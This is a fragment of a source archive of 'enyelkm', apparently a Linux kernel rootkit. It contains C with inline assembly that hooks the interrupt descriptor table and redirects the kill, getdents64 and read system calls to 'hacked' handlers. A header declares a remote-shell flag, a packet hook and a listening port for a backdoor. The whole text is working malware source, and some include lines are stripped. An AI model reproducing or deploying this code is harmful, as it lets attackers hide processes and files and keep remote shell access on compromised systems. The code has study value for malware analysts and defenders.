\ ( \ "push %0 \n" \ "ret \n" \ \ : : "m" (valor) \ ); #define CallHookedSyscall( valor ) \ ASMIDType( "call * %0" : : "r" (valor) ); void hook( void ) { register volatile int eax asm( "eax" ); switch( eax ) { case __NR_kill: CallHookedSyscall( hacked_kill ); break; case __NR_getdents64: CallHookedSyscall( hacked_getdents64 ); break; case __NR_read: CallHookedSyscall( hacked_read ); break; default: JmPushRet( dire_call ); break; } JmPushRet( after_call ); } void new_idt( void ) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } enyelkm-1.1.2/idt.h0000644000000000000000000000016610542044435012612 0ustar rootroot#ifndef _IDT_H__ #define _IDT_H__ #include "base.h" void new_idt( void ); void hook( void ); #endif /* _IDT_H__ */ enyelkm-1.1.2/base.h0000644000000000000000000000224010542041254012733 0ustar rootroot#ifndef _BASE_H__ #define _BASE_H__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" #include "data.h" #include "remoto.h" #include "kill.h" #include "read.h" #include "ls.h" #include "idt.h" /* estructuras */ struct idt_descriptor { unsigned short off_low; unsigned short sel; unsigned char none, flags; unsigned short off_high; }; extern unsigned long dire_exit, after_call; extern unsigned long dire_call, p_hacked_kill, global_ip; extern unsigned long p_hacked_getdents64, p_hacked_read; extern short read_activo, lanzar_shell; extern void *sysenter_entry; extern void **sys_call_table; extern struct packet_type my_pkt; extern unsigned short global_port; extern int errno; #endif /* _BASE_H__ */